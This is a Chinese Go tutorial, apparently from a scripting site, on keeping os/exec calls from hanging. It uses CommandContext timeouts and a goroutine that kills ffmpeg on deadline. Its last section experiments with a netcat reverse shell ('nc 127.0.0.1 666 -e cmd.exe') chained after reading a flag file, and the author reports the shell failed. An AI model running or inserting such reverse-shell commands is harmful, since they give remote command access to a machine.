Golang

关注公众号 jb51net

关闭
首页 > 脚本专栏 > Golang > Go os/exec执行超时导致死机

Go的os/exec执行超时导致程序死机的解决方案

作者:Aisre

这篇文章主要介绍了Go的os/exec执行超时导致程序死机的几种解决方案,文中通过代码示例给大家介绍的非常详细,对大家的学习或工作有一定的帮助,需要的朋友可以参考下

1.cmd执行命令

先看一个简单的命令执行代码

import (
	"fmt"
	"os/exec"
)

func main() {
	cmd := exec.Command("cmd", "/c", "dir  C:\\Users\\ASUS\\Desktop\\新建文件夹")
	output, err := cmd.Output()
	if err != nil {
		fmt.Println(err)
		fmt.Println(" command failed:", string(output))
	}
	fmt.Println(" command success:", string(output))
}

执行输出结果,代码没问题,但出现命令执行超时,提前返回的结果,有时会卡住程序,这是我们可以用exec.CommandContext函数来设置一个超时时间

2.CommandContext设置超时

下面代码时用ffmpeg获取视频时间的操作,这是一个很需要时间的命令

func GetMP4Duration(filePath string) (int, error) {
	// 构建 FFmpeg 命令
	ctx, cancel := context.WithTimeout(context.Background(), 70*time.Second)
	defer cancel()
	cmd := exec.CommandContext(ctx, pojo.ResultDir+"\\bin\\ffmpeg.exe", "-i", filePath, "-f", "null", "NUL")
	// 执行命令并捕获输出
	output, err := cmd.CombinedOutput()
	if err != nil {
		return 0, err
	}

	// 解析输出以获取时长
	durationStr := extractDuration(string(output))
	if durationStr == "" {
		return 0, fmt.Errorf("Failed to extract duration from FFmpeg output")
	}

	// 将时长字符串转换为秒数
	duration, err := parseDuration(durationStr)
	if err != nil {
		return 0, err
	}

	return int(duration), nil
}

这只是一个设置超时时间程序

3.程序继续死机

当我以为这样就可以万事大局时,但是还是发生的死机,这时时需要调用系统命令去结束。

下面cmd.Process.Signal(syscall.SIGINT)是windows上调用

func GetMP4Duration(filePath string) (int, error) {
	// 构建 FFmpeg 命令
	ctx, cancel := context.WithTimeout(context.Background(), 70*time.Second)
	defer cancel()
	cmd := exec.CommandContext(ctx, pojo.ResultDir+"\\bin\\ffmpeg.exe", "-i", filePath, "-f", "null", "NUL")

	go func() {
		<-ctx.Done()
		if ctx.Err() == context.DeadlineExceeded {
			fmt.Println("Context done due to timeout. Killing process...")
			cmd.Process.Signal(syscall.SIGINT)
			//或者cmd.Process.Kill()
		}
	}()
	// 执行命令并捕获输出
	output, err := cmd.CombinedOutput()
	if err != nil {
		return 0, err
	}

	// 解析输出以获取时长
	durationStr := extractDuration(string(output))
	if durationStr == "" {
		return 0, fmt.Errorf("Failed to extract duration from FFmpeg output")
	}

	// 将时长字符串转换为秒数
	duration, err := parseDuration(durationStr)
	if err != nil {
		return 0, err
	}

	return int(duration), nil
}

这样确保程序出现错误时,不会卡死。

4. 当我们给出反弹sh时,超时会不会导致sh失效

go执行多条命令的写法,当我使用上面的写法不会执行多条命令

cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && echo 'hello'")
func shtest() {

	//nc -lvp 777
	//nc 127.0.0.1 777 -e c:\windows\system32\cmd.exe
	//ffmpeg  -i  F:\测试专用\视频\065.mp4 |nc 127.0.01    -f  null  NUL
	// filePath := `F:\测试专用\视频\065.mp4`
	ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)
	defer cancel()
	//-threads 5  -preset veryfast
	//ffmpeg  -i "1.成都“不用咬全靠吸”的蹄花,裹满辣椒水太满足了(Av1052272125,P1).mp4" -threads 5 -preset veryfast -f null null
	//ffmpeg  -i "1.成都“不用咬全靠吸”的蹄花,裹满辣椒水太满足了(Av1052272125,P1).mp4" -threads 5 -preset veryfast  -f null null
	// "echo 'hello' && echo 'hi'"     type   E:\\flag.txt
	//cmd := exec.CommandContext(ctx, "ffmpeg", "-i", filePath, "-f", "null", "NUL  & echo 'hello' && echo 'hi'")
	//cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && echo 'hello'")
	cmd := exec.CommandContext(ctx, "cmd", "/c", "type  E:\\flag.txt  && nc 127.0.0.1 666 -e cmd.exe")
	sr := ""
	for _, v := range cmd.Args {
		sr += v + " "
	}
	fmt.Println(sr)
	go func() {
		<-ctx.Done()
		if ctx.Err() == context.DeadlineExceeded {
			fmt.Println("Context done due to timeout. Killing process...")
			cmd.Process.Signal(syscall.SIGINT)
		}
	}()
	// 执行命令并捕获输出
	output, err := cmd.CombinedOutput()
	fmt.Println(string(output))
	if err != nil {
		fmt.Println(err)
	}
	fmt.Println("5555555555")
}

但是我sh没传出去,已经把出战和入站流量打开。到点还是超时,有谁知道windows的sh到底怎么还可以怎么传

以上就是Go的os/exec执行超时导致程序死机的解决方案的详细内容,更多关于Go os/exec执行超时导致死机的资料请关注脚本之家其它相关文章!

您可能感兴趣的文章:
阅读全文